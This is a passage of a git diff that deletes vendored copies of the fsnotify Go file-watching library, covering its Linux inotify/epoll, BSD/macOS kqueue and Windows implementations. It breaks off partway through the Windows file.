buffer.WriteString("|CREATE") - } - if op&Remove == Remove { - buffer.WriteString("|REMOVE") - } - if op&Write == Write { - buffer.WriteString("|WRITE") - } - if op&Rename == Rename { - buffer.WriteString("|RENAME") - } - if op&Chmod == Chmod { - buffer.WriteString("|CHMOD") - } - if buffer.Len() == 0 { - return "" - } - return buffer.String()[1:] // Strip leading pipe -} - -// String returns a string representation of the event in the form -// "file: REMOVE|WRITE|..." -func (e Event) String() string { - return fmt.Sprintf("%q: %s", e.Name, e.Op.String()) -} - -// Common errors that can be reported by a watcher -var ErrEventOverflow = errors.New("fsnotify queue overflow") diff --git a/vendor/github.com/fsnotify/fsnotify/inotify.go b/vendor/github.com/fsnotify/fsnotify/inotify.go deleted file mode 100644 index d9fd1b88a0..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/inotify.go +++ /dev/null @@ -1,337 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build linux - -package fsnotify - -import ( - "errors" - "fmt" - "io" - "os" - "path/filepath" - "strings" - "sync" - "unsafe" - - "golang.org/x/sys/unix" -) - -// Watcher watches a set of files, delivering events to a channel. -type Watcher struct { - Events chan Event - Errors chan error - mu sync.Mutex // Map access - fd int - poller *fdPoller - watches map[string]*watch // Map of inotify watches (key: path) - paths map[int]string // Map of watched paths (key: watch descriptor) - done chan struct{} // Channel for sending a "quit message" to the reader goroutine - doneResp chan struct{} // Channel to respond to Close -} - -// NewWatcher establishes a new watcher with the underlying OS and begins waiting for events. -func NewWatcher() (*Watcher, error) { - // Create inotify fd - fd, errno := unix.InotifyInit1(unix.IN_CLOEXEC) - if fd == -1 { - return nil, errno - } - // Create epoll - poller, err := newFdPoller(fd) - if err != nil { - unix.Close(fd) - return nil, err - } - w := &Watcher{ - fd: fd, - poller: poller, - watches: make(map[string]*watch), - paths: make(map[int]string), - Events: make(chan Event), - Errors: make(chan error), - done: make(chan struct{}), - doneResp: make(chan struct{}), - } - - go w.readEvents() - return w, nil -} - -func (w *Watcher) isClosed() bool { - select { - case <-w.done: - return true - default: - return false - } -} - -// Close removes all watches and closes the events channel. -func (w *Watcher) Close() error { - if w.isClosed() { - return nil - } - - // Send 'close' signal to goroutine, and set the Watcher to closed. - close(w.done) - - // Wake up goroutine - w.poller.wake() - - // Wait for goroutine to close - <-w.doneResp - - return nil -} - -// Add starts watching the named file or directory (non-recursively). -func (w *Watcher) Add(name string) error { - name = filepath.Clean(name) - if w.isClosed() { - return errors.New("inotify instance already closed") - } - - const agnosticEvents = unix.IN_MOVED_TO | unix.IN_MOVED_FROM | - unix.IN_CREATE | unix.IN_ATTRIB | unix.IN_MODIFY | - unix.IN_MOVE_SELF | unix.IN_DELETE | unix.IN_DELETE_SELF - - var flags uint32 = agnosticEvents - - w.mu.Lock() - defer w.mu.Unlock() - watchEntry := w.watches[name] - if watchEntry != nil { - flags |= watchEntry.flags | unix.IN_MASK_ADD - } - wd, errno := unix.InotifyAddWatch(w.fd, name, flags) - if wd == -1 { - return errno - } - - if watchEntry == nil { - w.watches[name] = &watch{wd: uint32(wd), flags: flags} - w.paths[wd] = name - } else { - watchEntry.wd = uint32(wd) - watchEntry.flags = flags - } - - return nil -} - -// Remove stops watching the named file or directory (non-recursively). -func (w *Watcher) Remove(name string) error { - name = filepath.Clean(name) - - // Fetch the watch. - w.mu.Lock() - defer w.mu.Unlock() - watch, ok := w.watches[name] - - // Remove it from inotify. - if !ok { - return fmt.Errorf("can't remove non-existent inotify watch for: %s", name) - } - - // We successfully removed the watch if InotifyRmWatch doesn't return an - // error, we need to clean up our internal state to ensure it matches - // inotify's kernel state. - delete(w.paths, int(watch.wd)) - delete(w.watches, name) - - // inotify_rm_watch will return EINVAL if the file has been deleted; - // the inotify will already have been removed. - // watches and pathes are deleted in ignoreLinux() implicitly and asynchronously - // by calling inotify_rm_watch() below. e.g. readEvents() goroutine receives IN_IGNORE - // so that EINVAL means that the wd is being rm_watch()ed or its file removed - // by another thread and we have not received IN_IGNORE event. - success, errno := unix.InotifyRmWatch(w.fd, watch.wd) - if success == -1 { - // TODO: Perhaps it's not helpful to return an error here in every case. - // the only two possible errors are: - // EBADF, which happens when w.fd is not a valid file descriptor of any kind. - // EINVAL, which is when fd is not an inotify descriptor or wd is not a valid watch descriptor. - // Watch descriptors are invalidated when they are removed explicitly or implicitly; - // explicitly by inotify_rm_watch, implicitly when the file they are watching is deleted. - return errno - } - - return nil -} - -type watch struct { - wd uint32 // Watch descriptor (as returned by the inotify_add_watch() syscall) - flags uint32 // inotify flags of this watch (see inotify(7) for the list of valid flags) -} - -// readEvents reads from the inotify file descriptor, converts the -// received events into Event objects and sends them via the Events channel -func (w *Watcher) readEvents() { - var ( - buf [unix.SizeofInotifyEvent * 4096]byte // Buffer for a maximum of 4096 raw events - n int // Number of bytes read with read() - errno error // Syscall errno - ok bool // For poller.wait - ) - - defer close(w.doneResp) - defer close(w.Errors) - defer close(w.Events) - defer unix.Close(w.fd) - defer w.poller.close() - - for { - // See if we have been closed. - if w.isClosed() { - return - } - - ok, errno = w.poller.wait() - if errno != nil { - select { - case w.Errors <- errno: - case <-w.done: - return - } - continue - } - - if !ok { - continue - } - - n, errno = unix.Read(w.fd, buf[:]) - // If a signal interrupted execution, see if we've been asked to close, and try again. - // http://man7.org/linux/man-pages/man7/signal.7.html : - // "Before Linux 3.8, reads from an inotify(7) file descriptor were not restartable" - if errno == unix.EINTR { - continue - } - - // unix.Read might have been woken up by Close. If so, we're done. - if w.isClosed() { - return - } - - if n < unix.SizeofInotifyEvent { - var err error - if n == 0 { - // If EOF is received. This should really never happen. - err = io.EOF - } else if n < 0 { - // If an error occurred while reading. - err = errno - } else { - // Read was too short. - err = errors.New("notify: short read in readEvents()") - } - select { - case w.Errors <- err: - case <-w.done: - return - } - continue - } - - var offset uint32 - // We don't know how many events we just read into the buffer - // While the offset points to at least one whole event... - for offset <= uint32(n-unix.SizeofInotifyEvent) { - // Point "raw" to the event in the buffer - raw := (*unix.InotifyEvent)(unsafe.Pointer(&buf[offset])) - - mask := uint32(raw.Mask) - nameLen := uint32(raw.Len) - - if mask&unix.IN_Q_OVERFLOW != 0 { - select { - case w.Errors <- ErrEventOverflow: - case <-w.done: - return - } - } - - // If the event happened to the watched directory or the watched file, the kernel - // doesn't append the filename to the event, but we would like to always fill the - // the "Name" field with a valid filename. We retrieve the path of the watch from - // the "paths" map. - w.mu.Lock() - name, ok := w.paths[int(raw.Wd)] - // IN_DELETE_SELF occurs when the file/directory being watched is removed. - // This is a sign to clean up the maps, otherwise we are no longer in sync - // with the inotify kernel state which has already deleted the watch - // automatically. - if ok && mask&unix.IN_DELETE_SELF == unix.IN_DELETE_SELF { - delete(w.paths, int(raw.Wd)) - delete(w.watches, name) - } - w.mu.Unlock() - - if nameLen > 0 { - // Point "bytes" at the first byte of the filename - bytes := (*[unix.PathMax]byte)(unsafe.Pointer(&buf[offset+unix.SizeofInotifyEvent])) - // The filename is padded with NULL bytes. TrimRight() gets rid of those. - name += "/" + strings.TrimRight(string(bytes[0:nameLen]), "\000") - } - - event := newEvent(name, mask) - - // Send the events that are not ignored on the events channel - if !event.ignoreLinux(mask) { - select { - case w.Events <- event: - case <-w.done: - return - } - } - - // Move to the next event in the buffer - offset += unix.SizeofInotifyEvent + nameLen - } - } -} - -// Certain types of events can be "ignored" and not sent over the Events -// channel. Such as events marked ignore by the kernel, or MODIFY events -// against files that do not exist. -func (e *Event) ignoreLinux(mask uint32) bool { - // Ignore anything the inotify API says to ignore - if mask&unix.IN_IGNORED == unix.IN_IGNORED { - return true - } - - // If the event is not a DELETE or RENAME, the file must exist. - // Otherwise the event is ignored. - // *Note*: this was put in place because it was seen that a MODIFY - // event was sent after the DELETE. This ignores that MODIFY and - // assumes a DELETE will come or has come if the file doesn't exist. - if !(e.Op&Remove == Remove || e.Op&Rename == Rename) { - _, statErr := os.Lstat(e.Name) - return os.IsNotExist(statErr) - } - return false -} - -// newEvent returns an platform-independent Event based on an inotify mask. -func newEvent(name string, mask uint32) Event { - e := Event{Name: name} - if mask&unix.IN_CREATE == unix.IN_CREATE || mask&unix.IN_MOVED_TO == unix.IN_MOVED_TO { - e.Op |= Create - } - if mask&unix.IN_DELETE_SELF == unix.IN_DELETE_SELF || mask&unix.IN_DELETE == unix.IN_DELETE { - e.Op |= Remove - } - if mask&unix.IN_MODIFY == unix.IN_MODIFY { - e.Op |= Write - } - if mask&unix.IN_MOVE_SELF == unix.IN_MOVE_SELF || mask&unix.IN_MOVED_FROM == unix.IN_MOVED_FROM { - e.Op |= Rename - } - if mask&unix.IN_ATTRIB == unix.IN_ATTRIB { - e.Op |= Chmod - } - return e -} diff --git a/vendor/github.com/fsnotify/fsnotify/inotify_poller.go b/vendor/github.com/fsnotify/fsnotify/inotify_poller.go deleted file mode 100644 index cc7db4b22e..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/inotify_poller.go +++ /dev/null @@ -1,187 +0,0 @@ -// Copyright 2015 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build linux - -package fsnotify - -import ( - "errors" - - "golang.org/x/sys/unix" -) - -type fdPoller struct { - fd int // File descriptor (as returned by the inotify_init() syscall) - epfd int // Epoll file descriptor - pipe [2]int // Pipe for waking up -} - -func emptyPoller(fd int) *fdPoller { - poller := new(fdPoller) - poller.fd = fd - poller.epfd = -1 - poller.pipe[0] = -1 - poller.pipe[1] = -1 - return poller -} - -// Create a new inotify poller. -// This creates an inotify handler, and an epoll handler. -func newFdPoller(fd int) (*fdPoller, error) { - var errno error - poller := emptyPoller(fd) - defer func() { - if errno != nil { - poller.close() - } - }() - poller.fd = fd - - // Create epoll fd - poller.epfd, errno = unix.EpollCreate1(0) - if poller.epfd == -1 { - return nil, errno - } - // Create pipe; pipe[0] is the read end, pipe[1] the write end. - errno = unix.Pipe2(poller.pipe[:], unix.O_NONBLOCK) - if errno != nil { - return nil, errno - } - - // Register inotify fd with epoll - event := unix.EpollEvent{ - Fd: int32(poller.fd), - Events: unix.EPOLLIN, - } - errno = unix.EpollCtl(poller.epfd, unix.EPOLL_CTL_ADD, poller.fd, &event) - if errno != nil { - return nil, errno - } - - // Register pipe fd with epoll - event = unix.EpollEvent{ - Fd: int32(poller.pipe[0]), - Events: unix.EPOLLIN, - } - errno = unix.EpollCtl(poller.epfd, unix.EPOLL_CTL_ADD, poller.pipe[0], &event) - if errno != nil { - return nil, errno - } - - return poller, nil -} - -// Wait using epoll. -// Returns true if something is ready to be read, -// false if there is not. -func (poller *fdPoller) wait() (bool, error) { - // 3 possible events per fd, and 2 fds, makes a maximum of 6 events. - // I don't know whether epoll_wait returns the number of events returned, - // or the total number of events ready. - // I decided to catch both by making the buffer one larger than the maximum. - events := make([]unix.EpollEvent, 7) - for { - n, errno := unix.EpollWait(poller.epfd, events, -1) - if n == -1 { - if errno == unix.EINTR { - continue - } - return false, errno - } - if n == 0 { - // If there are no events, try again. - continue - } - if n > 6 { - // This should never happen. More events were returned than should be possible. - return false, errors.New("epoll_wait returned more events than I know what to do with") - } - ready := events[:n] - epollhup := false - epollerr := false - epollin := false - for _, event := range ready { - if event.Fd == int32(poller.fd) { - if event.Events&unix.EPOLLHUP != 0 { - // This should not happen, but if it does, treat it as a wakeup. - epollhup = true - } - if event.Events&unix.EPOLLERR != 0 { - // If an error is waiting on the file descriptor, we should pretend - // something is ready to read, and let unix.Read pick up the error. - epollerr = true - } - if event.Events&unix.EPOLLIN != 0 { - // There is data to read. - epollin = true - } - } - if event.Fd == int32(poller.pipe[0]) { - if event.Events&unix.EPOLLHUP != 0 { - // Write pipe descriptor was closed, by us. This means we're closing down the - // watcher, and we should wake up. - } - if event.Events&unix.EPOLLERR != 0 { - // If an error is waiting on the pipe file descriptor. - // This is an absolute mystery, and should never ever happen. - return false, errors.New("Error on the pipe descriptor.") - } - if event.Events&unix.EPOLLIN != 0 { - // This is a regular wakeup, so we have to clear the buffer. - err := poller.clearWake() - if err != nil { - return false, err - } - } - } - } - - if epollhup || epollerr || epollin { - return true, nil - } - return false, nil - } -} - -// Close the write end of the poller. -func (poller *fdPoller) wake() error { - buf := make([]byte, 1) - n, errno := unix.Write(poller.pipe[1], buf) - if n == -1 { - if errno == unix.EAGAIN { - // Buffer is full, poller will wake. - return nil - } - return errno - } - return nil -} - -func (poller *fdPoller) clearWake() error { - // You have to be woken up a LOT in order to get to 100! - buf := make([]byte, 100) - n, errno := unix.Read(poller.pipe[0], buf) - if n == -1 { - if errno == unix.EAGAIN { - // Buffer is empty, someone else cleared our wake. - return nil - } - return errno - } - return nil -} - -// Close all poller file descriptors, but not the one passed to it. -func (poller *fdPoller) close() { - if poller.pipe[1] != -1 { - unix.Close(poller.pipe[1]) - } - if poller.pipe[0] != -1 { - unix.Close(poller.pipe[0]) - } - if poller.epfd != -1 { - unix.Close(poller.epfd) - } -} diff --git a/vendor/github.com/fsnotify/fsnotify/kqueue.go b/vendor/github.com/fsnotify/fsnotify/kqueue.go deleted file mode 100644 index 86e76a3d67..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/kqueue.go +++ /dev/null @@ -1,521 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build freebsd openbsd netbsd dragonfly darwin - -package fsnotify - -import ( - "errors" - "fmt" - "io/ioutil" - "os" - "path/filepath" - "sync" - "time" - - "golang.org/x/sys/unix" -) - -// Watcher watches a set of files, delivering events to a channel. -type Watcher struct { - Events chan Event - Errors chan error - done chan struct{} // Channel for sending a "quit message" to the reader goroutine - - kq int // File descriptor (as returned by the kqueue() syscall). - - mu sync.Mutex // Protects access to watcher data - watches map[string]int // Map of watched file descriptors (key: path). - externalWatches map[string]bool // Map of watches added by user of the library. - dirFlags map[string]uint32 // Map of watched directories to fflags used in kqueue. - paths map[int]pathInfo // Map file descriptors to path names for processing kqueue events. - fileExists map[string]bool // Keep track of if we know this file exists (to stop duplicate create events). - isClosed bool // Set to true when Close() is first called -} - -type pathInfo struct { - name string - isDir bool -} - -// NewWatcher establishes a new watcher with the underlying OS and begins waiting for events. -func NewWatcher() (*Watcher, error) { - kq, err := kqueue() - if err != nil { - return nil, err - } - - w := &Watcher{ - kq: kq, - watches: make(map[string]int), - dirFlags: make(map[string]uint32), - paths: make(map[int]pathInfo), - fileExists: make(map[string]bool), - externalWatches: make(map[string]bool), - Events: make(chan Event), - Errors: make(chan error), - done: make(chan struct{}), - } - - go w.readEvents() - return w, nil -} - -// Close removes all watches and closes the events channel. -func (w *Watcher) Close() error { - w.mu.Lock() - if w.isClosed { - w.mu.Unlock() - return nil - } - w.isClosed = true - - // copy paths to remove while locked - var pathsToRemove = make([]string, 0, len(w.watches)) - for name := range w.watches { - pathsToRemove = append(pathsToRemove, name) - } - w.mu.Unlock() - // unlock before calling Remove, which also locks - - for _, name := range pathsToRemove { - w.Remove(name) - } - - // send a "quit" message to the reader goroutine - close(w.done) - - return nil -} - -// Add starts watching the named file or directory (non-recursively). -func (w *Watcher) Add(name string) error { - w.mu.Lock() - w.externalWatches[name] = true - w.mu.Unlock() - _, err := w.addWatch(name, noteAllEvents) - return err -} - -// Remove stops watching the the named file or directory (non-recursively). -func (w *Watcher) Remove(name string) error { - name = filepath.Clean(name) - w.mu.Lock() - watchfd, ok := w.watches[name] - w.mu.Unlock() - if !ok { - return fmt.Errorf("can't remove non-existent kevent watch for: %s", name) - } - - const registerRemove = unix.EV_DELETE - if err := register(w.kq, []int{watchfd}, registerRemove, 0); err != nil { - return err - } - - unix.Close(watchfd) - - w.mu.Lock() - isDir := w.paths[watchfd].isDir - delete(w.watches, name) - delete(w.paths, watchfd) - delete(w.dirFlags, name) - w.mu.Unlock() - - // Find all watched paths that are in this directory that are not external. - if isDir { - var pathsToRemove []string - w.mu.Lock() - for _, path := range w.paths { - wdir, _ := filepath.Split(path.name) - if filepath.Clean(wdir) == name { - if !w.externalWatches[path.name] { - pathsToRemove = append(pathsToRemove, path.name) - } - } - } - w.mu.Unlock() - for _, name := range pathsToRemove { - // Since these are internal, not much sense in propagating error - // to the user, as that will just confuse them with an error about - // a path they did not explicitly watch themselves. - w.Remove(name) - } - } - - return nil -} - -// Watch all events (except NOTE_EXTEND, NOTE_LINK, NOTE_REVOKE) -const noteAllEvents = unix.NOTE_DELETE | unix.NOTE_WRITE | unix.NOTE_ATTRIB | unix.NOTE_RENAME - -// keventWaitTime to block on each read from kevent -var keventWaitTime = durationToTimespec(100 * time.Millisecond) - -// addWatch adds name to the watched file set. -// The flags are interpreted as described in kevent(2). -// Returns the real path to the file which was added, if any, which may be different from the one passed in the case of symlinks. -func (w *Watcher) addWatch(name string, flags uint32) (string, error) { - var isDir bool - // Make ./name and name equivalent - name = filepath.Clean(name) - - w.mu.Lock() - if w.isClosed { - w.mu.Unlock() - return "", errors.New("kevent instance already closed") - } - watchfd, alreadyWatching := w.watches[name] - // We already have a watch, but we can still override flags. - if alreadyWatching { - isDir = w.paths[watchfd].isDir - } - w.mu.Unlock() - - if !alreadyWatching { - fi, err := os.Lstat(name) - if err != nil { - return "", err - } - - // Don't watch sockets. - if fi.Mode()&os.ModeSocket == os.ModeSocket { - return "", nil - } - - // Don't watch named pipes. - if fi.Mode()&os.ModeNamedPipe == os.ModeNamedPipe { - return "", nil - } - - // Follow Symlinks - // Unfortunately, Linux can add bogus symlinks to watch list without - // issue, and Windows can't do symlinks period (AFAIK). To maintain - // consistency, we will act like everything is fine. There will simply - // be no file events for broken symlinks. - // Hence the returns of nil on errors. - if fi.Mode()&os.ModeSymlink == os.ModeSymlink { - name, err = filepath.EvalSymlinks(name) - if err != nil { - return "", nil - } - - w.mu.Lock() - _, alreadyWatching = w.watches[name] - w.mu.Unlock() - - if alreadyWatching { - return name, nil - } - - fi, err = os.Lstat(name) - if err != nil { - return "", nil - } - } - - watchfd, err = unix.Open(name, openMode, 0700) - if watchfd == -1 { - return "", err - } - - isDir = fi.IsDir() - } - - const registerAdd = unix.EV_ADD | unix.EV_CLEAR | unix.EV_ENABLE - if err := register(w.kq, []int{watchfd}, registerAdd, flags); err != nil { - unix.Close(watchfd) - return "", err - } - - if !alreadyWatching { - w.mu.Lock() - w.watches[name] = watchfd - w.paths[watchfd] = pathInfo{name: name, isDir: isDir} - w.mu.Unlock() - } - - if isDir { - // Watch the directory if it has not been watched before, - // or if it was watched before, but perhaps only a NOTE_DELETE (watchDirectoryFiles) - w.mu.Lock() - - watchDir := (flags&unix.NOTE_WRITE) == unix.NOTE_WRITE && - (!alreadyWatching || (w.dirFlags[name]&unix.NOTE_WRITE) != unix.NOTE_WRITE) - // Store flags so this watch can be updated later - w.dirFlags[name] = flags - w.mu.Unlock() - - if watchDir { - if err := w.watchDirectoryFiles(name); err != nil { - return "", err - } - } - } - return name, nil -} - -// readEvents reads from kqueue and converts the received kevents into -// Event values that it sends down the Events channel. -func (w *Watcher) readEvents() { - eventBuffer := make([]unix.Kevent_t, 10) - -loop: - for { - // See if there is a message on the "done" channel - select { - case <-w.done: - break loop - default: - } - - // Get new events - kevents, err := read(w.kq, eventBuffer, &keventWaitTime) - // EINTR is okay, the syscall was interrupted before timeout expired. - if err != nil && err != unix.EINTR { - select { - case w.Errors <- err: - case <-w.done: - break loop - } - continue - } - - // Flush the events we received to the Events channel - for len(kevents) > 0 { - kevent := &kevents[0] - watchfd := int(kevent.Ident) - mask := uint32(kevent.Fflags) - w.mu.Lock() - path := w.paths[watchfd] - w.mu.Unlock() - event := newEvent(path.name, mask) - - if path.isDir && !(event.Op&Remove == Remove) { - // Double check to make sure the directory exists. This can happen when - // we do a rm -fr on a recursively watched folders and we receive a - // modification event first but the folder has been deleted and later - // receive the delete event - if _, err := os.Lstat(event.Name); os.IsNotExist(err) { - // mark is as delete event - event.Op |= Remove - } - } - - if event.Op&Rename == Rename || event.Op&Remove == Remove { - w.Remove(event.Name) - w.mu.Lock() - delete(w.fileExists, event.Name) - w.mu.Unlock() - } - - if path.isDir && event.Op&Write == Write && !(event.Op&Remove == Remove) { - w.sendDirectoryChangeEvents(event.Name) - } else { - // Send the event on the Events channel. - select { - case w.Events <- event: - case <-w.done: - break loop - } - } - - if event.Op&Remove == Remove { - // Look for a file that may have overwritten this. - // For example, mv f1 f2 will delete f2, then create f2. - if path.isDir { - fileDir := filepath.Clean(event.Name) - w.mu.Lock() - _, found := w.watches[fileDir] - w.mu.Unlock() - if found { - // make sure the directory exists before we watch for changes. When we - // do a recursive watch and perform rm -fr, the parent directory might - // have gone missing, ignore the missing directory and let the - // upcoming delete event remove the watch from the parent directory. - if _, err := os.Lstat(fileDir); err == nil { - w.sendDirectoryChangeEvents(fileDir) - } - } - } else { - filePath := filepath.Clean(event.Name) - if fileInfo, err := os.Lstat(filePath); err == nil { - w.sendFileCreatedEventIfNew(filePath, fileInfo) - } - } - } - - // Move to next event - kevents = kevents[1:] - } - } - - // cleanup - err := unix.Close(w.kq) - if err != nil { - // only way the previous loop breaks is if w.done was closed so we need to async send to w.Errors. - select { - case w.Errors <- err: - default: - } - } - close(w.Events) - close(w.Errors) -} - -// newEvent returns an platform-independent Event based on kqueue Fflags. -func newEvent(name string, mask uint32) Event { - e := Event{Name: name} - if mask&unix.NOTE_DELETE == unix.NOTE_DELETE { - e.Op |= Remove - } - if mask&unix.NOTE_WRITE == unix.NOTE_WRITE { - e.Op |= Write - } - if mask&unix.NOTE_RENAME == unix.NOTE_RENAME { - e.Op |= Rename - } - if mask&unix.NOTE_ATTRIB == unix.NOTE_ATTRIB { - e.Op |= Chmod - } - return e -} - -func newCreateEvent(name string) Event { - return Event{Name: name, Op: Create} -} - -// watchDirectoryFiles to mimic inotify when adding a watch on a directory -func (w *Watcher) watchDirectoryFiles(dirPath string) error { - // Get all files - files, err := ioutil.ReadDir(dirPath) - if err != nil { - return err - } - - for _, fileInfo := range files { - filePath := filepath.Join(dirPath, fileInfo.Name()) - filePath, err = w.internalWatch(filePath, fileInfo) - if err != nil { - return err - } - - w.mu.Lock() - w.fileExists[filePath] = true - w.mu.Unlock() - } - - return nil -} - -// sendDirectoryEvents searches the directory for newly created files -// and sends them over the event channel. This functionality is to have -// the BSD version of fsnotify match Linux inotify which provides a -// create event for files created in a watched directory. -func (w *Watcher) sendDirectoryChangeEvents(dirPath string) { - // Get all files - files, err := ioutil.ReadDir(dirPath) - if err != nil { - select { - case w.Errors <- err: - case <-w.done: - return - } - } - - // Search for new files - for _, fileInfo := range files { - filePath := filepath.Join(dirPath, fileInfo.Name()) - err := w.sendFileCreatedEventIfNew(filePath, fileInfo) - - if err != nil { - return - } - } -} - -// sendFileCreatedEvent sends a create event if the file isn't already being tracked. -func (w *Watcher) sendFileCreatedEventIfNew(filePath string, fileInfo os.FileInfo) (err error) { - w.mu.Lock() - _, doesExist := w.fileExists[filePath] - w.mu.Unlock() - if !doesExist { - // Send create event - select { - case w.Events <- newCreateEvent(filePath): - case <-w.done: - return - } - } - - // like watchDirectoryFiles (but without doing another ReadDir) - filePath, err = w.internalWatch(filePath, fileInfo) - if err != nil { - return err - } - - w.mu.Lock() - w.fileExists[filePath] = true - w.mu.Unlock() - - return nil -} - -func (w *Watcher) internalWatch(name string, fileInfo os.FileInfo) (string, error) { - if fileInfo.IsDir() { - // mimic Linux providing delete events for subdirectories - // but preserve the flags used if currently watching subdirectory - w.mu.Lock() - flags := w.dirFlags[name] - w.mu.Unlock() - - flags |= unix.NOTE_DELETE | unix.NOTE_RENAME - return w.addWatch(name, flags) - } - - // watch file to mimic Linux inotify - return w.addWatch(name, noteAllEvents) -} - -// kqueue creates a new kernel event queue and returns a descriptor. -func kqueue() (kq int, err error) { - kq, err = unix.Kqueue() - if kq == -1 { - return kq, err - } - return kq, nil -} - -// register events with the queue -func register(kq int, fds []int, flags int, fflags uint32) error { - changes := make([]unix.Kevent_t, len(fds)) - - for i, fd := range fds { - // SetKevent converts int to the platform-specific types: - unix.SetKevent(&changes[i], fd, unix.EVFILT_VNODE, flags) - changes[i].Fflags = fflags - } - - // register the events - success, err := unix.Kevent(kq, changes, nil, nil) - if success == -1 { - return err - } - return nil -} - -// read retrieves pending events, or waits until an event occurs. -// A timeout of nil blocks indefinitely, while 0 polls the queue. -func read(kq int, events []unix.Kevent_t, timeout *unix.Timespec) ([]unix.Kevent_t, error) { - n, err := unix.Kevent(kq, nil, events, timeout) - if err != nil { - return nil, err - } - return events[0:n], nil -} - -// durationToTimespec prepares a timeout value -func durationToTimespec(d time.Duration) unix.Timespec { - return unix.NsecToTimespec(d.Nanoseconds()) -} diff --git a/vendor/github.com/fsnotify/fsnotify/open_mode_bsd.go b/vendor/github.com/fsnotify/fsnotify/open_mode_bsd.go deleted file mode 100644 index 7d8de14513..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/open_mode_bsd.go +++ /dev/null @@ -1,11 +0,0 @@ -// Copyright 2013 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build freebsd openbsd netbsd dragonfly - -package fsnotify - -import "golang.org/x/sys/unix" - -const openMode = unix.O_NONBLOCK | unix.O_RDONLY diff --git a/vendor/github.com/fsnotify/fsnotify/open_mode_darwin.go b/vendor/github.com/fsnotify/fsnotify/open_mode_darwin.go deleted file mode 100644 index 9139e17161..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/open_mode_darwin.go +++ /dev/null @@ -1,12 +0,0 @@ -// Copyright 2013 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build darwin - -package fsnotify - -import "golang.org/x/sys/unix" - -// note: this constant is not defined on BSD -const openMode = unix.O_EVTONLY diff --git a/vendor/github.com/fsnotify/fsnotify/windows.go b/vendor/github.com/fsnotify/fsnotify/windows.go deleted file mode 100644 index 09436f31d8..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/windows.go +++ /dev/null @@ -1,561 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build windows - -package fsnotify - -import ( - "errors" - "fmt" - "os" - "path/filepath" - "runtime" - "sync" - "syscall" - "unsafe" -) - -// Watcher watches a set of files, delivering events to a channel. -type Watcher struct { - Events chan Event - Errors chan error - isClosed bool // Set to true when Close() is first called - mu sync.Mutex // Map access - port syscall.Handle // Handle to completion port - watches watchMap // Map of watches (key: i-number) - input chan *input // Inputs to the reader are sent on this channel - quit chan chan<- error -} - -// NewWatcher establishes a new watcher with the underlying OS and begins waiting for events. -func NewWatcher() (*Watcher, error) { - port, e := syscall.CreateIoCompletionPort(syscall.InvalidHandle, 0, 0, 0) - if e != nil { - return nil, os.NewSyscallError("CreateIoCompletionPort", e) - } - w := &Watcher{ - port: port, - watches: make(watchMap), - input: make(chan *input, 1), - Events: make(chan Event, 50), - Errors: make(chan error), - quit: make(chan chan<- error, 1), - } - go w.readEvents() - return w, nil -} - -// Close removes all watches and closes the events channel. -func (w *Watcher) Close() error { - if w.isClosed { - return nil - } - w.isClosed = true - - // Send "quit" message to the reader goroutine - ch := make(chan error) - w.quit <- ch - if err := w.wakeupReader(); err != nil { - return err - } - return <-ch -} - -// Add starts watching the named file or directory (non-recursively). -func (w *Watcher) Add(name string) error { - if w.isClosed { - return errors.New("watcher already closed") - } - in := &input{ - op: opAddWatch, - path: filepath.Clean(name), - flags: sysFSALLEVENTS, - reply: make(chan error), - } - w.input <- in - if err := w.wakeupReader(); err != nil { - return err - } - return <-in.reply -} - -// Remove stops watching the the named file or directory (non-recursively). -func (w *Watcher) Remove(name string) error { - in := &input{ - op: opRemoveWatch, - path: filepath.Clean(name), - reply: make(chan error), - } - w.input <- in - if err := w.wakeupReader(); err != nil { - return err - } - return <-in.reply -} - -const ( - // Options for AddWatch - sysFSONESHOT = 0x80000000 - sysFSONLYDIR = 0x1000000 - - // Events - sysFSACCESS = 0x1 - sysFSALLEVENTS = 0xfff - sysFSATTRIB = 0x4 - sysFSCLOSE = 0x18 - sysFSCREATE = 0x100 - sysFSDELETE = 0x200 - sysFSDELETESELF = 0x400 - sysFSMODIFY = 0x2 - sysFSMOVE = 0xc0 - sysFSMOVEDFROM = 0x40 - sysFSMOVEDTO = 0x80 - sysFSMOVESELF = 0x800 - - // Special events - sysFSIGNORED = 0x8000 - sysFSQOVERFLOW = 0x4000 -) - -func newEvent(name string, mask uint32) Event { - e := Event{Name: name} - if mask&sysFSCREATE == sysFSCREATE || mask&sysFSMOVEDTO == sysFSMOVEDTO { - e.Op |= Create - } - if mask&sysFSDELETE == sysFSDELETE || mask&sysFSDELETESELF == sysFSDELETESELF { - e.Op |= Remove - } - if mask&sysFSMODIFY == sysFSMODIFY { - e.Op |= Write - } - if mask&sysFSMOVE == sysFSMOVE || mask&sysFSMOVESELF == sysFSMOVESELF || mask&sysFSMOVEDFROM == sysFSMOVEDFROM { - e.Op |= Rename - } - if mask&sysFSATTRIB == sysFSATTRIB { - e.Op |= Chmod - } - return e -} - -const ( - opAddWatch = iota - opRemoveWatch -) - -const ( - provisional uint64 = 1 << (32 + iota) -) - -type input struct { - op int - path string - flags uint32 - reply chan error -} - -type inode struct { - handle syscall.Handle - volume uint32 - index uint64 -} - -type watch struct { - ov syscall.Overlapped - ino *inode // i-number - path string // Directory path - mask uint64 // Directory itself is being watched with these notify flags - names map[string]uint64 // Map of names being watched and their notify flags - rename string // Remembers the old name while renaming a file - buf [4096]byte -} - -type indexMap map[uint64]*watch -type watchMap map[uint32]indexMap - -func (w *Watcher) wakeupReader() error { - e := syscall.PostQueuedCompletionStatus(w.port, 0, 0, nil) - if e 